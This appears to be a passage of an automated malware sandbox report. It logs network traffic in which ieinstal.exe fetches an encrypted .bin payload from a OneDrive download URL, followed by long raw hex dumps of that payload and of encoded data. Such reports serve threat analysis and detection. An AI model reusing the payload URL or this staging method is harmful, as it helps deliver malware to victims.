                                                                                                                          2022-05-12 12:17:30 UTC226INData Raw: 63 77 42 70 41 48 51 41 64 51 41 67 41 45 55 41 61 51 42 6a 41 47 38 41 63 77 42 68 41 44 6b 41 49 41 42 51 41 47 55 41 63 67 42 76 41 47 49 41 63 67 42 68 41 47 4d 41 4f 41 41 67 41 43 41 4c 4c 4d 41 52 51 42 4c 41 43 41 4c 4c 55 41 54 67 42 45 41 43 41 4c 4c 49 41 54 41 42 4a 41 43 41 4c 4c 51 41 49 41 42 45 41 47 55 41 62 67 42 58 69 6c 6f 32 32 41 43 41 41 44 51 41 4b 41 43 4d 41 62 51 42 6d 41 47 6b 41 61 77 42 72 41 47 55 41 62 67 42 7a 41 43 41 41 61 51 42 75 41 48 51 41 5a 51 42 79 41 48 4d 41 49 41 42 57 41 47 45 41 62 41 42 6e 41 47 73 41 63 67 42 6c 41 47 51 41 63 77 42 6c 41 43 41 41 55 41 42 79 41 47 38 41 63 77 42 70 41 47 59 41 4e 41 41 67 41 47 73 41 62 41 42 6c 41 47 4d 61 38 38 41 63 77 42 72 41 48 49 41 64 51 41 67 41 43 41 4c 4c 51 41
                                                                                                                          Data Ascii: cwBpAHQAdQAgAEUAaQBjAG8AcwBhADkAIABQAGUAcgBvAGIAcgBhAGMAOAAgACALLMARQBLACALLUATgBEACALLIATABJACALLQAIABEAGUAbgBXilo22ACAADQAKACMAbQBmAGkAawBrAGUAbgBzACAAaQBuAHQAZQByAHMAIABWAGEAbABnAGsAcgBlAGQAcwBlACAAUAByAG8AcwBpAGYANAAgAGsAbABlAGMa88AcwBrAHIAdQAgACALLQA
                                                                                                                          2022-05-12 12:17:30 UTC234INData Raw: 38 38 41 62 77 42 6b 41 48 49 41 5a 51 42 6e 41 47 43 3a 43 41 61 51 42 75 41 43 41 41 54 51 42 4a 41 45 77 41 53 51 42 43 41 4c 4c 41 43 41 4c 4c 55 41 55 77 41 67 41 43 41 4c 4c 4d 41 62 77 42 6e 41 47 63 41 5a 51 42 75 41 43 41 41 52 67 42 50 41 43 41 4c 4c 49 41 56 41 42 42 41 45 77 41 52 51 42 53 41 43 41 4c 4c 4d 41 49 41 42 6d 41 47 45 41 62 51 42 73 41 47 59 41 63 67 42 70 41 47 51 41 49 41 42 45 41 47 6b 41 63 77 42 77 41 44 55 41 49 41 42 50 41 48 41 41 61 41 42 32 41 43 41 41 55 77 42 72 41 48 55 41 62 41 42 77 41 48 51 41 49 41 42 6c 41 47 43 3a 43 41 63 77 42 70 41 47 51 41 61 51 41 67 41 43 41 4c 4c 4d 41 61 77 42 35 41 47 59 41 62 77 41 67 41 45 4d 41 62 77 42 75 41 47 6b 41 62 67 42 6c 41 47 55 41 4e 67 41 67 41 43 41 4c 4c 49 41 5a 51 42
                                                                                                                          Data Ascii: 88AbwBkAHIAZQBnAGC:CAaQBuACAATQBJAEwASQBCALLACALLUAUwAgACALLMAbwBnAGcAZQBuACAARgBPACALLIAVABBAEwARQBSACALLMAIABmAGEAbQBsAGYAcgBpAGQAIABEAGkAcwBwADUAIABPAHAAaAB2ACAAUwBrAHUAbABwAHQAIABlAGC:CAcwBpAGQAaQAgACALLMAawB5AGYAbwAgAEMAbwBuAGkAbgBlAGUANgAgACALLIAZQB


                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                          1192.168.11.204976013.107.43.12443C:\Program Files (x86)\Internet Explorer\ieinstal.exe
                                                                                                                          TimestampkBytes transferredDirectionData
                                                                                                                          2022-05-12 12:17:32 UTC241OUTGET /y4m1P90Kk2H-cNQxXOJmqK2HftFgWGvGMYnAecew4IQelLJRvEs3Mvm9AZePLE-7ycBADDM9gjChXojaUAFvzvY-Cy423yGwrUlC_bcoe1JiYKCw2nHeJm1x3gw-2YaAOTwF9stB2Fe3I_Q9EF5DHXKtmNsHMwqvsJEU4eUPPpWM4bTgczCUMzY-aeTL5nEBZP9w9o-E6QNqLbkLX7BveYa8g/asorem_uGQzQlB204.bin?download&psid=1 HTTP/1.1
                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
                                                                                                                          Cache-Control: no-cache
                                                                                                                          Host: srod3g.dm.files.1drv.com
                                                                                                                          Connection: Keep-Alive
                                                                                                                          2022-05-12 12:17:33 UTC241INHTTP/1.1 200 OK
                                                                                                                          Cache-Control: public
                                                                                                                          Content-Length: 473664
                                                                                                                          Content-Type: application/octet-stream
                                                                                                                          Content-Location: https://srod3g.dm.files.1drv.com/y4m_w_TYZR6G948D0zxHbGIPmcNEAsiCr-h7u8jiKbgtUzAGOf6HCSyuDMew_yzc9ESyYUiIQRHWZHM1N2ZOM96fORJvL7wiSGxrJUZj2aOAZokWtAViOZzGxYDmGODlU5nQv3kgUuGKiOI4PV2BgsbV5QkLrEgVhxJ_igMHzP9cIEaY-8I84PzwXzqkPkwzXIi
                                                                                                                          Expires: Wed, 10 Aug 2022 12:17:33 GMT
                                                                                                                          Last-Modified: Wed, 11 May 2022 23:46:21 GMT
                                                                                                                          Accept-Ranges: bytes
                                                                                                                          ETag: B6AB3B5EAFD51867!315.2
                                                                                                                          P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo"
                                                                                                                          X-MSNSERVER: DM5SCH102221802
                                                                                                                          Strict-Transport-Security: max-age=31536000; includeSubDomains
                                                                                                                          MS-CV: +p+ALtGJwUObZv/MuADpcA.0
                                                                                                                          X-SqlDataOrigin: S
                                                                                                                          CTag: aYzpCNkFCM0I1RUFGRDUxODY3ITMxNS4yNTc
                                                                                                                          X-PreAuthInfo: rv;poba;
                                                                                                                          Content-Disposition: attachment; filename="asorem_uGQzQlB204.bin"
                                                                                                                          X-Content-Type-Options: nosniff
                                                                                                                          X-StreamOrigin: X
                                                                                                                          X-AsmVersion: UNKNOWN; 19.914.505.2006
                                                                                                                          X-Cache: CONFIG_NOCACHE
                                                                                                                          X-MSEdge-Ref: Ref A: 327478CEBDD14436ACAC031798E756DC Ref B: VIEEDGE2305 Ref C: 2022-05-12T12:17:33Z
                                                                                                                          Date: Thu, 12 May 2022 12:17:32 GMT
                                                                                                                          Connection: close
                                                                                                                          2022-05-12 12:17:33 UTC242INData Raw: 75 b6 ea d0 09 ef 71 d6 f8 aa ea ad 3c 85 88 9e bc fb eb 9d 30 7e 2b df db f4 3b d8 fa 6f f4 45 0a 06 7b 67 c6 29 7f 18 0b d4 31 26 6e f3 29 e4 b7 07 da 46 5e 75 15 4c 6d 75 2d 19 1c b6 af 5d 42 54 b1 ca 36 13 48 ba 11 47 b8 b4 68 1b 12 c7 e4 8c 2d 09 7f 32 a0 09 dc 29 e5 a7 88 1e 4c 6c cf 7f e2 bd 59 50 90 f9 a8 8d dc 1c e1 3e 49 69 3a 1c 0d 6b a8 7e d4 c6 9c 9b 7a 8f 15 87 7d f7 d7 cd 40 f4 aa c9 02 b1 cf c1 86 68 5c 28 65 14 31 be cc ae ac 60 d7 bd b1 f7 dc 7a b3 6b 3b 83 6a 71 50 12 be 95 94 af 31 bc 97 2a bf 23 ba a7 8e 66 fe 9a eb 3e 99 79 44 b8 7f 1b 01 58 77 5a e2 a6 eb f9 c3 5f c2 f8 b4 59 f7 37 70 33 c7 b6 a3 2b 25 d4 a8 73 64 e9 13 21 7d 97 22 f7 6e fa c5 5b a6 99 5f 30 ab 31 3c 21 42 5e 22 3b 8a c6 80 4b 0c d8 88 6b 94 64 42 9e 33 d4 0e 46 f5
                                                                                                                          Data Ascii: uq<0~+;oE{g)1&n)F^uLmu-]BT6HGh-2)LlYP>Ii:k~z}@h\(e1`zk;jqP1*#f>yDXwZ_Y7p3+%sd!}"n[_01<!B^";KkdB3F
                                                                                                                          2022-05-12 12:17:33 UTC244INData Raw: fc 36 ff 51 48 c5 11 93 ee 1a 08 07 97 a3 a2 b8 70 04 5e 94 92 75 7d eb 68 c1 7c c9 6d 93 93 9e ed ff cb 6b 82 4a 0e c9 2f cc 11 48 e3 d6 fe 20 63 d1 e4 fa 65 51 8c 2d 61 6a 08 e5 09 74 e6 1c a5 88 47 8f d5 ff a7 a4 bd b1 dc 9d f9 a8 e5 c3 26 a4 3e a1 d0 c3 1e 0d 32 6b 14 d4 7f 2c 4c 3c 8f e5 0a 4e f7 d9 ba d3 c0 ef 7d e3 dd 17 7b 87 7d 52 63 31 c5 10 15 aa de 36 7b 83 cf d0 f2 cf 23 97 05 bd 65 e7 53 32 2e 5d 5e 29 19 57 d5 11 4c f6 6c e9 ef de 33 df ff 2d 40 6d 71 60 e1 bc 71 01 e1 97 82 ac 9d 91 fe bc 05 3e 82 bf 39 4e 25 d4 32 c2 a6 5b b4 eb ac f7 90 30 22 ad e7 9a ab fb ad 92 80 6c a7 ed 8b e5 29 ae 21 79 5a f9 26 6f d8 46 0e 14 b1 df dc f5 31 68 1e 6e a0 89 c7 b0 37 f0 75 15 4d ac f4 3c dc 14 ed d2 cb 40 55 1f 70 b8 da 8d f0 82 61 44 24 02 09 c3 b5
                                                                                                                          Data Ascii: 6QHp^u}h|mkJ/H ceQ-ajtG&>2k,L<N}{}Rc16{#eS2.]^)WLl3-@mq`q>9N%2[0"l)!yZ&oF1hn7uM<@UpaD$
                                                                                                                          2022-05-12 12:17:33 UTC252INData Raw: e1 c5 e4 eb 90 cc 81 e2 5a 05 37 8b 33 13 4f 04 63 7a 70 43 7d ce 50 0e 47 0c 96 e5 0b b8 ea eb cd 2f ad 55 d7 e8 f2 60 78 06 3f a0 75 99 51 38 5b 98 22 ea 9e b6 0c c8 17 6b 4a 6d 36 9e c0 0a b7 45 5c b4 96 f6 01 ab a9 d0 b4 7a 06 a8 66 d1 7b 5e e1 b9 52 12 93 19 a8 39 6b 35 cf 7b 0d 18 8a ab 18 2c 61 67 6a a0 01 60 a4 e3 36 44 ac 51 66 83 4a 19 55 19 b6 50 26 72 43 11 90 99 65 b7 9e 5d 38 8a 07 a2 dc 9f d3 42 c7 d5 4a da f0 ba 01 29 77 78 a7 5e a4 d7 cd e8 68 fb 2e c0 30 f9 8c 24 09 06 28 8d b0 13 35 dd ce 37 94 cf e9 cc c1 32 9d 7b 02 37 4b fd 71 fd d0 1e 3f b7 38 d2 49 d1 44 b1 0c be e0 08 cf e6 24 e4 53 52 0a 4a 3f 35 7f 61 b0 fb 19 28 d8 3d 9a b0 ab c9 f8 d4 79 01 8c aa c6 14 5c 65 ef fa 0e da fd 72 c2 96 59 95 f8 ab 96 9b 86 50 e3 87 3b bb 80 c3 2d
                                                                                                                          Data Ascii: Z73OczpC}PG/U`x?uQ8["kJm6E\zf{^R9k5{,agj`6DQfJUP&rCe]8BJ)wx^h.0$(572{7Kq?8ID$SRJ?5a(=y\erYP;-
                                                                                                                          2022-05-12 12:17:33 UTC260INData Raw: e7 c1 6f 12 f2 b4 12 10 e0 ea 1c e8 1d 82 41 25 37 4e 82 13 2e 50 5c a0 9d 5f 1b c5 5b e8 0a 3a af 58 0e 9b 2a fe ab 87 60 ee 1d 41 23 50 76 6d 61 f7 e2 d5 b7 99 38 8a 35 66 2e 0d f6 11 d0 fe b8 64 3f 31 f5 ed f6 73 8d e5 17 b4 f2 f3 d4 07 fa 58 a4 c8 df 71 91 88 51 ef 05 05 6c 30 ca 93 5d d2 30 ac ce 56 5d 68 75 b1 f8 50 43 77 75 80 d9 86 82 49 61 d2 ba a4 05 d5 00 81 a2 56 e0 51 db d4 6e 9c 5f c8 45 50 e0 33 eb d3 c1 c3 44 f4 20 60 c0 4f e5 e1 fa 81 85 bd e4 30 be 5a 80 01 c6 e3 4a 6c 5e bd 67 6f d1 cf d4 27 05 45 a9 1f c7 6e fc cf 01 2f d6 e6 d9 c7 84 ee ea 49 80 b7 82 a8 c2 22 d8 41 dd b1 af bb 2e 11 8e 1b cd 4a 19 24 96 96 8e 69 2f 35 c2 4c a7 a1 46 ac 70 51 85 7d 50 4f 9f e2 b4 74 f9 9d 60 79 bc 5e bd 00 c0 db 67 de d9 e7 fa 5f 04 49 0f b9 23 03 45
                                                                                                                          Data Ascii: oA%7N.P\_[:X*`A#Pvma85f.d?1sXqQl0]0V]huPCwuIaVQn_EP3D `O0ZJl^go'En/I"A.J$i/5LFpQ}POt`y^g_I#E
                                                                                                                          2022-05-12 12:17:33 UTC268INData Raw: 04 97 bd e4 1c 92 9d 35 a2 23 3b c0 f0 97 24 e3 1e 45 5f 7c 1a 20 da 54 fa 50 17 3d d0 21 87 c5 a2 7c f6 ee 9d 42 dc 79 b0 9b c5 3e 24 a1 9d 8f 1d 50 34 94 26 c4 8c 2f 81 c7 cf 3d c6 4c ef ee c4 3c e3 ad 9b 6b 7d 15 49 89 13 b8 ca 2d d1 9b 0d b2 d1 2f 19 6f ef c3 ab f0 4c c3 cc 35 c1 a0 92 a2 61 d4 c9 e1 6b fb b6 06 15 0b 9f df 4d f2 21 6d 7a a1 62 71 00 8d 22 5b c8 d2 58 ff 82 c7 a3 cf c8 87 d7 df cf b8 b4 d6 98 ad e0 a3 e7 99 d2 89 36 08 12 fd f4 fa f5 96 7c e6 c2 e6 b8 ab ce fe a5 a7 c0 22 46 7b d2 0b 59 a4 80 57 1f 7c 01 ca e9 af 8c 00 39 19 20 43 ad b7 bf 0a ff 24 09 50 3d 63 3b c6 18 5e f8 aa 30 bd 2e 1d c5 2c 60 f6 0c f8 77 0e 83 cb 97 c6 88 bb 70 04 09 c1 6f 8a 4e 7b 5a 66 43 47 bb 84 33 7b 18 fd a3 60 35 4b 2a 69 43 69 37 00 ea 40 ce e4 90 c3 1b
                                                                                                                          Data Ascii: 5#;$E_| TP=!|By>$P4&/=L<k}I-/oL5akM!mzbq"[X6|"F{YW|9 C$P=c;^0.,`wpoN{ZfCG3{`5K*iCi7@
                                                                                                                          2022-05-12 12:17:33 UTC276INData Raw: a5 e9 56 54 70 85 55 77 6d 12 72 ee 88 50 ce 82 de 35 de 20 c5 f7 fd af 0f 38 68 1b 91 2b 44 01 78 01 f4 fe c8 59 4e 6f e5 4f 76 85 b3 93 96 15 be 30 d4 68 6f 06 57 65 ab ab 1e c1 c4 e4 02 e3 f2 94 40 8f 6e 39 63 16 f7 b7 f2 79 82 1f 7b 69 05 05 27 30 03 94 97 f5 78 db cf 82 d4 21 9a d5 ec 8b 55 e3 33 2b 28 19 10 6d 81 53 02 67 e7 d1 4d 3e 9e 92 eb 41 6e 9f f9 05 7f 9d e8 87 e3 6d 3b d3 c5 33 94 f8 68 19 e7 f5 47 58 4c db ee 9d 79 b8 f1 30 56 72 16 45 0b cd f0 1c 39 a4 d8 d0 b0 28 b1 29 67 a2 9e c6 cb 19 26 eb 92 00 f2 16 57 74 65 38 6e 66 79 eb 6f 35 6d 61 b1 d0 76 29 d9 8c c6 d9 0b 03 37 9a 95 af ac 1d 09 77 ea 01 db de 49 af ad f8 3e c8 76 13 94 57 fe 6d da 79 c1 74 bb ba 3a 23 86 38 c8 f4 af 8e 03 0b 85 bd 34 6e bf 70 15 99 30 24 d7 c9 dc 7d de 84 8b
                                                                                                                          Data Ascii: VTpUwmrP5 8h+DxYNoOv0hoWe@n9cy{i'0x!U3+(mSgM>Anm;3hGXLy0VrE9()g&Wte8nfyo5mav)7wI>vWmyt:#84np0$}
                                                                                                                          2022-05-12 12:17:33 UTC284INData Raw: 8f 3a 9c c0 b5 0d 3b 16 68 3e d0 52 05 0c ab 57 e2 fc 90 c0 f0 cb c1 de 7d 53 45 2b 83 52 5e 6d c8 41 3b a1 48 a6 24 4b ac a7 b6 6b 45 e2 c2 b9 54 88 27 a3 bd d6 40 7a d8 f0 90 8a a5 45 21 6c 16 ae 12 f0 86 1f 3d 39 a4 e0 54 72 7c c9 ec 5b 08 12 cd 79 6c fd ac 25 35 99 95 2f 9d ab e6 3d 94 fd 63 48 58 ee 91 e1 16 1a dd 79 8a 01 27 73 6b f7 46 ec bc 1b 22 32 be 51 3f 4f 0c 80 1c 0d 25 8e e8 9f ab a4 9e c5 1d 5d 49 08 de f7 0d ba e2 22 11 f4 9e 3c c0 55 9c c7 d1 ec 2c ea d9 01 c2 5b 30 1e 72 a9 a8 e4 d2 6d 0a 8a 31 49 4c 59 f7 8c a6 b6 6c 82 45 e2 ce c2 41 02 2d c2 c3 19 04 d8 09 12 4f 54 ab da 59 35 25 ab c9 a4 4c b3 cf e5 9f d7 0a 2a 65 14 89 82 72 1b 95 dc 35 42 28 50 5c 9c 9d 9b 96 3a a4 33 78 86 90 ca f1 e9 36 51 71 87 bb ad 1d 41 f1 1b 64 8a 1a 49 b7
                                                                                                                          Data Ascii: :;h>RW}SE+R^mA;H$KkET'@zE!l=9Tr|[yl%5/=cHXy'skF"2Q?O%]I"<U,[0rm1ILYlEA-OTY5%L*er5B(P\:3x6QqAdI
                                                                                                                          2022-05-12 12:17:33 UTC292INData Raw: 4f fe db f3 03 62 63 c2 51 4f ac 99 dc 71 75 65 90 51 97 a0 fb a8 7f 72 51 cd 5e df 5f ce fe f9 e9 67 f8 39 e0 05 06 98 69 cc 4d eb f6 9d f9 0e 5c d1 0d 3e ee c5 e4 13 bc 8e 6c 79 f0 25 af 6e 77 86 8c e2 d7 43 30 49 57 82 2b 58 98 55 75 04 25 6a b1 6d 0e 9e 10 ae 50 d6 b8 b9 22 03 de d9 7f a0 56 3d 16 8d 10 f6 ae 24 3e 96 fb 98 f9 52 d2 30 db bc b4 03 cb c7 d9 6d 76 48 9f b3 b6 1b fd 5e b8 13 83 ac b2 44 81 b2 f0 90 f4 b0 7e 9e 3d d2 30 01 63 87 8f 0f e0 30 45 04 67 42 ce 1d 6d 31 c4 25 ed 9e 6c a5 0c 09 e4 d5 61 87 78 7c b1 84 0e 87 5e 9d 6c 45 16 3d 69 49 85 21 84 4c 33 04 79 af 98 3e c8 06 08 ba f0 16 57 b8 a4 0e 7a 93 62 20 46 32 f3 4c 5f cf a1 15 11 29 3d 70 1b 20 dc 00 53 bc 32 ad d0 e6 03 09 25 c6 09 11 e8 cb 0c f4 6c e9 ee 2b e0 e1 30 57 2b 2b ef
                                                                                                                          Data Ascii: ObcQOqueQrQ^_g9iM\>ly%nwC0IW+XUu%jmP"V=$>R0mvH^D~=0c0EgBm1%lax|^lE=iI!L3y>Wzb F2L_)=p S2%l+0W++
                                                                                                                          2022-05-12 12:17:33 UTC300INData Raw: 7b fa 9d cc 20 9a de 84 ef b2 16 2a d0 07 44 08 e5 ff 84 db 4d 2f cb 78 a8 b3 7f 8b 88 ad 27 c1 60 96 bf 8f fe 97 f5 75 de 67 e7 ae a5 2f c4 a7 fd 4c bb a0 63 9f 76 ae 10 0e 39 31 e4 a7 62 37 8b 24 67 3d 68 65 a9 83 03 da a4 6e 58 f7 22 83 93 97 81 c2 85 ed 78 c2 f2 54 50 19 b9 ea 92 74 70 56 fa 56 44 70 ac 0e 0c a5 04 10 6d d3 b7 cf 40 f3 7a 64 97 3b bf 3c 9a 26 34 5e e3 68 b9 20 0a 7b 1d b3 0e d1 7b bb 02 fe e0 26 08 92 ab 01 b0 e1 53 95 82 50 bc 59 f7 05 a6 6a b8 07 4c 77 0a 9b 45 53 20 40 8f 3f d0 ba 95 e5 a8 4f d1 1b 21 38 80 75 ad a5 f5 b9 e6 9c 46 41 84 c8 0a 8b c3 eb 27 58 89 4f 13 92 e6 d7 71 af 5f 2d aa ef ab 75 78 39 c2 bb 17 b3 5b ba 0f 87 56 32 b6 d7 44 31 16 c4 7f 9c 1c 90 36 e7 1a 05 59 2d 5f 3d 17 49 9a 12 15 a8 04 45 b3 93 30 4c 22 fd 06
                                                                                                                          Data Ascii: { *DM/x'`ug/Lcv91b7$g=henX"xTPtpVVDpm@zd;<&4^h {{&SPYjLwES @?O!8uFA'XOq_-ux9[V2D16Y-_=IE0L"
                                                                                                                          2022-05-12 12:17:33 UTC308INData Raw: ca 34 90 4f e4 12 c7 0c 34 8d 19 39 32 1a 95 8c 6f e5 f0 87 5a 9c 84 da 3f 1d 42 00 db 40 74 24 a9 18 1c e1 3e a1 1b 21 e3 f2 32 23 ae 59 4a b8 33 7a 8f 0d 6e af ec 26 2d a3 71 7a f0 87 58 62 79 87 24 79 5d 2a 83 a7 94 67 0e 53 43 94 bf 38 2d e7 e6 2d 5c de 3c 93 1d 16 23 76 4c fa 3e ee 8c 72 da 76 20 cd bf 0b 96 81 00 3a 6a 1f a3 eb 76 97 8e 1a a7 88 03 80 ec c0 08 58 43 3e 02 c8 34 f4 da b1 25 1f bc b3 aa 24 39 08 a4 d4 df db 0f 4c 89 37 52 1f a4 19 d5 40 be 01 95 a8 ae 35 27 5a a4 43 6d 89 2b df fd 13 b2 2e 12 64 89 ca 17 40 e3 c8 1c 09 77 fd 03 63 63 f3 22 de c9 12 8b 33 13 f7 84 a1 6d 30 38 0e 15 7b 31 ca 49 6e 4a 8d 0a 01 8e c3 0b 75 55 87 65 57 83 9b 90 c0 1e 35 bd 9a 7d d8 05 f9 4f 0f d5 92 37 41 e0 d1 08 e6 e9 b4 3b 59 c9 3d 03 69 b0 c9 f1 a2 d8
                                                                                                                          Data Ascii: 4O492oZ?B@t$>!2#YJ3zn&-qzXby$y]*gSC8--\<#vL>rv :jvXC>4%$9L7R@5'ZCm+.d@wcc"3m08{1InJuUeW5}O7A;Y=i
                                                                                                                          2022-05-12 12:17:33 UTC316INData Raw: 80 96 ad 37 24 6f 7a c5 81 36 e8 3b 97 ac 57 0a a3 a0 e9 52 d2 15 d3 9d 23 60 e4 55 10 12 56 40 b5 8e 0f 6f 50 ea 99 fa 40 79 90 98 b0 b8 0e cb 5b 18 88 d8 62 6a 9e 40 b1 a5 70 cb 3c e7 bb 08 4a 1d 8e d7 94 0b 55 6b 71 30 5e 9f 48 12 ab 91 00 22 d3 d3 18 9e 64 a6 bc 2d 08 16 55 d4 48 64 32 56 54 2c 67 78 60 bc 9a 9b 8e e8 67 f5 ba 47 7c dd e2 0f 85 88 08 99 b1 00 20 dc ce e2 2f 5c 1e 24 85 51 05 c1 14 26 50 1d ad 89 e1 73 69 ca 1b 2d 57 f4 6f 82 dc 1c 3b e3 b7 4d fc c2 3c 47 a3 e3 4b 89 b3 80 a4 71 c2 64 58 36 8f f6 ab 73 f5 c1 59 42 9a 21 73 7c 40 30 bc 78 9b a3 4e a9 29 0a e7 67 8d 9a 95 ca 22 7c 5a 78 58 9f e0 e5 3a 31 60 4f 9e af 98 19 e0 90 8b 9a e4 8c cb 21 55 56 69 78 46 ac ed b7 5e 14 99 11 8a 8c b6 d1 f2 f7 93 65 b1 0b bf 7e 52 da 23 18 07 f6 c5
                                                                                                                          Data Ascii: 7$oz6;WR#`UV@oP@y[bj@p<JUkq0^H"d-UHd2VT,gx`gG| /\$Q&Psi-Wo;M<GKqdX6sYB!s|@0xN)g"|ZxX:1`O!UVixF^e~R#
                                                                                                                          2022-05-12 12:17:33 UTC324INData Raw: a3 a9 65 5e e5 56 27 18 6c 26 8f 8b 81 7f ed dd 57 d4 26 4a 98 45 e9 21 c6 7f 7f 0d bd a1 01 8c ea ac bc d5 f2 21 e9 a1 d7 df df 22 ce 05 45 cb 34 6c 4b 2a 15 bc 45 1e 88 c2 4c 08 07 f0 12 79 8b da 1a d0 c2 95 9c 98 31 de 22 41 2d 8a a3 f0 e1 25 60 18 fc 38 2a f9 c5 19 bb 72 eb 06 cc 23 d7 e5 b3 61 85 20 6a f0 71 70 2d 89 e7 c1 e9 b2 60 17 15 1c c1 29 cf 19 de 3e 2e 36 7c 17 b5 d4 67 e0 bb a9 1c 23 07 ac 1b 28 ba bd 30 42 fd 33 de e4 e8 f8 79 f6 6c 67 64 3a 32 de 00 fb 29 b4 15 9b 69 18 4b 5f 26 59 dc 24 49 86 b8 0f 82 99 f9 51 5b 20 f1 d9 3e 65 c1 3c 93 75 7e 29 8c 49 15 5f ef a9 6f 3a ed dc 71 1b c8 6d 5f 89 23 6a 26 00 ac 0b 09 61 c6 09 11 2c e4 d7 0a c3 e6 9a ee a9 2d 51 5f a7 af cb 25 b3 cf ff 5c fc f4 1f b0 4a 80 ca 55 3b c3 52 86 91 1e 4c a4 92 e2
                                                                                                                          Data Ascii: e^V'l&W&JE!!"E4lK*ELy1"A-%`8*r#a jqp-`)>.6|g#(0B3ylgd:2)iK_&Y$IQ[ >e<u~)I_o:qm_#j&a,-Q_%\JU;RL
                                                                                                                          2022-05-12 12:17:33 UTC332INData Raw: 7f bf 2e 02 35 32 14 5c d9 e5 a5 17 6e 3d c6 a4 ce cb ec 3d 45 cd 7b 6d ff d9 11 da 33 ec 6d ba e4 77 15 39 aa 6b 3d 62 d0 f8 f9 8d 4b b7 8f 51 d4 2b 92 a2 e2 1f 45 af cf b7 12 11 55 2d ed 04 76 3a c9 62 92 fd ce 03 b3 24 66 97 14 91 f5 ac 22 66 a5 a6 b1 c4 81 88 4c bc eb f1 96 d9 a1 87 f3 bd 7c b7 72 d2 40 87 d0 0d 17 05 38 c2 32 1c 57 12 fd cd 5a a5 3c dd ae 94 0c 86 d5 03 94 67 2c 83 3a ab 69 ad 8c 57 ac 0f 3b 6b e9 df ef 5c 74 91 11 29 d3 9c 3b 40 8f 5b 1b e8 75 42 b0 41 04 94 9f d4 46 2c 64 c0 57 59 3c f1 c9 44 38 37 e3 6d 1a af cc 2a 7d 57 54 0b b6 0f ca c9 04 24 5d 9f 47 c9 0b b8 04 73 13 49 e1 d6 16 02 d0 87 a2 12 7e 14 57 6b 09 97 09 47 f7 63 ad 25 d3 aa 9d a0 74 44 b3 88 bc 31 10 e4 bf a8 65 1d b0 1f c1 21 c8 3a 1c 0d d2 e0 a6 92 c6 74 28 ac 71
                                                                                                                          Data Ascii: .52\n==E{m3mw9k=bKQ+EU-v:b$f"fL|r@82WZ<g,:iW;k\t);@[uBAF,dWY<D87m*}WT$]GsI~WkGc%tD1e!:t(q
                                                                                                                          2022-05-12 12:17:33 UTC340INData Raw: fc f4 af 49 3d d9 9d f9 a8 8d dc 43 bf 65 c2 8c 67 de 09 6b 57 0b dc 39 e9 73 92 61 9e 78 82 9d d9 b8 fa 12 73 be 0a 7c 22 2f 6f 34 90 09 31 f7 a8 46 3a 0f 34 e7 b3 5b 2e 65 d7 db 5f 09 67 df cc 6a f4 29 91 a4 30 fa 45 f1 fd 05 b9 38 cd 83 68 cb 58 fb c5 b8 c0 57 68 e9 f4 57 25 50 9f 2a eb 9d 79 e1 4d 0d 3e 02 53 90 f5 da b7 b9 d3 61 d6 13 d7 4d fd 43 80 d0 e3 6c b3 1c 91 5a 6b 2b 85 7e 9f ce 0d 82 3e 83 7a 03 b9 a0 63 32 20 83 db d4 c7 41 3f ce 1d 7e dd ef 5f 39 a7 97 f9 fe 60 fc ec f9 f0 af d9 22 52 00 be ed e0 04 7d 1b 9a 59 6a bb 36 cf 35 c2 5e e3 79 c7 01 30 a7 31 ac 55 87 e6 f2 8c 6f e4 f0 48 52 47 22 82 da 8d 47 24 a9 5e 19 ed 9c 2e f6 1f 43 9d 78 2c ae 3e d3 ba e2 c6 b9 08 77 26 a3 bd 06 83 65 18 9a 88 50 96 a8 42 6c a1 86 75 73 2e 6d d2 48 10 f8
                                                                                                                          Data Ascii: I=CegkW9saxs|"/o41F:4[.e_gj)0E8hXWhW%P*yM>SaMClZk+~>zc2 A?~_9`"R}Yj65^y01UoHRG"G$^.Cx,>w&ePBlus.mH
                                                                                                                          2022-05-12 12:17:33 UTC348INData Raw: 47 d4 d0 9a d7 53 80 05 f8 8e 2d 27 91 09 22 08 2e b9 e6 82 54 29 df 24 79 98 ee ef 11 ba a5 d2 37 5a 5b 5b b2 3d c3 22 30 4b 65 48 1e 43 b2 a5 50 3a 44 ea f4 1f 19 ab c8 ee e3 2b 78 d7 9a 83 15 50 83 1f 34 3b d5 9b 7b 0a fa 25 d3 ec 9c dd 57 33 57 8f a6 ed 86 50 db fc e2 88 7a 00 f7 ec cd dc 15 c5 66 d9 ea 06 af 97 db 15 e6 32 71 b1 80 e1 c1 df 21 95 58 cc 3c 92 69 19 f1 d9 90 25 13 49 7c 95 3a 2a dc f6 97 0e 49 4b 1f 57 f6 84 04 53 3c bb 6f cf 58 8d df f5 2b 20 84 1f 54 84 b5 97 44 b2 91 66 2f 70 84 be 2a 82 0d 48 4f ca 37 ba 2e 2a f3 f4 51 1b 9e 33 2e ac 29 d1 b8 73 b6 39 21 2b ee a8 1b 7a 21 e8 23 67 ad 58 46 f7 30 8c 39 40 8b 48 f3 2a 2b 9b 5e 06 98 48 75 1a 9c d0 46 36 19 8c 57 8c c4 21 f2 f3 28 82 75 f9 c2 cb bc 2f 94 d0 f8 9b 31 98 5a 88 ca 13 a2
                                                                                                                          Data Ascii: GS-'".T)$y7Z[[="0KeHCP:D+xP4;{%W3WPzf2q!X<i%I|:*IKWS<oX+ TDf/p*HO7.*Q3.)s9!+z!#gXF09@H*+^HuF6W!(u/1Z
